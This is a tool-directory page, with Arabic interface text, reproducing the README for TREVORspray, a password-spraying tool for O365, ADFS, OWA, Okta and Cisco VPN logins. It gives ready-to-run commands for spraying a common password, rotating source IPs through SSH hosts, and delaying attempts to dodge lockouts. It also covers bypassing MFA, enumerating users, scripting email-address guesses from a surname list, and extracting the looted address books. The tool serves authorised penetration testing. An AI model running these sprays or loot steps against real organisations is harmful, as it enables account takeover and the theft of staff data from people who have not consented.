Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
TREVORspray — أداة رش كلمات مرور معيارية مع تدوير وكيل SSH، تجاوز MFA، واستطلاع النطاق. يدعم O365، ADFS، OWA، Okta، Cisco VPN. يقوم بأتمتة التحقق من بيانات الاعتماد واستخراج الغنائم. | Kitploit
أدوات/GitHubGitHub/blacklanternsecurity/trevorspray
تجاوز WAF
GitHubblacklanternsecurity/trevorspray

TREVORspray

أداة رش كلمات مرور معيارية مع تدوير وكيل SSH، تجاوز MFA، واستطلاع النطاق. يدعم O365، ADFS، OWA، Okta، Cisco VPN. يقوم بأتمتة التحقق من بيانات الاعتماد واستخراج الغنائم.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
1.4k17918منذ 4 أشهرتمت المراجعة من قبل Kitploit

TREVORspray 2.0

TREVORspray هي أداة رش كلمات مرور معيارية مع خيوط، ووكيل SSH، ووحدات نهب، والمزيد!

بواسطة @thetechr0mancer

License Python Version

التثبيت:

pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

راجع منشور المدونة المصاحب للحصول على مقالة ممتعة وعروض توضيحية رائعة!

trevorspray-demo

الميزات

  • خيوط، الكثير من الخيوط
  • وحدات متعددة
    • msol (Office 365)
    • adfs (خدمات الاتحاد لـ Active Directory)
    • owa (تطبيق الويب الخاص بـ Outlook)
    • okta (Okta SSO)
    • anyconnect (Cisco VPN)
    • وحدات مخصصة (سهلة الإنشاء!)
  • يخبرك بحالة كل حساب: إذا كان موجودًا، أو مقفلاً، أو مفعّلاً به MFA، إلخ.
  • إلغاء/استئناف تلقائي (يتذكر مجموعات المستخدم/كلمة المرور التي تم تجربتها مسبقًا في ~/.trevorspray/tried_logins.txt)
  • وكيل دائري عبر عدة عناوين IP باستخدام --ssh أو --subnet
  • إعادة اتصال/إعادة محاولة تلقائية لا نهائية إذا تعطل الوكيل (أو إذا فقدت الاتصال بالإنترنت)
  • تزوير User-Agent وتوقيعات أخرى لتبدو كحركة مرور مصادقة شرعية
  • تسجيل شامل
  • --delay و --jitter و --lockout-delay اختيارية بين الطلبات لتجاوز إجراءات مكافحة الإغلاق
  • دعم IPv6
  • دعم تجاوز MFA لـ O365 (تعطيل باستخدام --no-loot)
    • IMAP
    • SMTP
    • POP
    • EWS (خدمات الويب لـ Exchange) - يسترجع تلقائيًا GAL (دفتر العناوين العام)
    • EAS (Exchange ActiveSync)
      • التجاوز الموصى به: تطبيق BlueMail لنظام Android
    • EXO (PowerShell لـ Exchange Online)
    • UM (المراسلة الموحدة لـ Exchange)
    • AutoDiscover - يسترجع تلقائيًا OAB (دفتر العناوين غير المتصل)
    • الوصول إلى بوابة Azure
  • --recon للنطاق مع الميزات التالية:
    • سجلات MX/TXT
    • معلومات O365
      • معرف المستأجر
      • اسم المستأجر
      • نطاقات المستأجر الأخرى
      • رابط SharePoint
      • عناوين المصادقة، الاكتشاف التلقائي، تكوين الاتحاد، إلخ.
    • تعداد المستخدمين (استخدم --recon و --users):
      • OneDrive
      • Azure Seamless SSO

كيفية الاستخدام - O365

  • أولاً، احصل على قائمة بالبريد الإلكتروني لـ corp.com وقم بعملية رش لترى إذا كانت الإعدادات الافتراضية تعمل. عادةً ما تعمل.
  • إذا أخبرك TREVORspray أن رسائل البريد الإلكتروني في قائمتك غير موجودة، فلا تستسلم. احصل على token_endpoint باستخدام --recon corp.com. token_endpoint هو عنوان URL الذي ستقوم بالرش ضده (باستخدام الخيار --url).
  • قد يتطلب الأمر بعض التجارب قبل أن تجد التركيبة الصحيحة من token_endpoint + تنسيق البريد الإلكتروني.
    • على سبيل المثال، إذا كنت تهاجم corp.com، فقد لا يكون الأمر سهلاً مثل رش corp.com. قد تجد أن الشركة الأم لـ Corp وهي Evilcorp تمتلك مستأجر Azure الخاص بهم، مما يعني أنك بحاجة إلى الرش ضد token_endpoint الخاص بـ evilcorp.com. أيضًا، قد تجد أن النطاق الداخلي لـ corp.com وهو corp.local يُستخدم بدلاً من corp.com.
    • لذا في النهاية، بدلاً من رش [email protected] ضد token_endpoint لـ corp.com، فأنت تقوم برش [email protected] ضد token_endpoint لـ evilcorp.com.

مثال: إجراء استطلاع ضد نطاق (يسترجع معلومات المستأجر، الاكتشاف التلقائي، سجلات MX، إلخ.)

trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

مثال: تعداد المستخدمين عبر OneDrive (بدون محاولات دخول فاشلة)

trevorspray --recon evilcorp.com -u emails.txt --threads 10

recon-user-enumeration

مثال: الرش ضد عنوان token_endpoint المكتشف

trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

مثال: الرش مع تأخير 5 ثوانٍ بين الطلبات

trevorspray -u [email protected] -p 'Welcome123' --delay 5

مثال: الرش والتناوب الدائري بين 3 عناوين IP (يتم استخدام عنوان IP الحالي أيضًا، ما لم يتم تحديد -n)

trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

مثال: العثور على أسماء المستخدمين الصالحة بدون OSINT >:D

# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

استخراج البيانات من ملفات LZX التي تم تنزيلها

عندما يقوم TREVORspray بتجاوز MFA بنجاح واسترجاع دفتر العناوين غير المتصل (OAB)، يتم تنزيل دفتر العناوين بتنسيق LZX إلى ~/.trevorspray/loot. LZX هي خوارزمية ضغط قديمة ومزعجة تستخدمها Microsoft.

# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - المساعدة:

$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)
تنزيل الأداة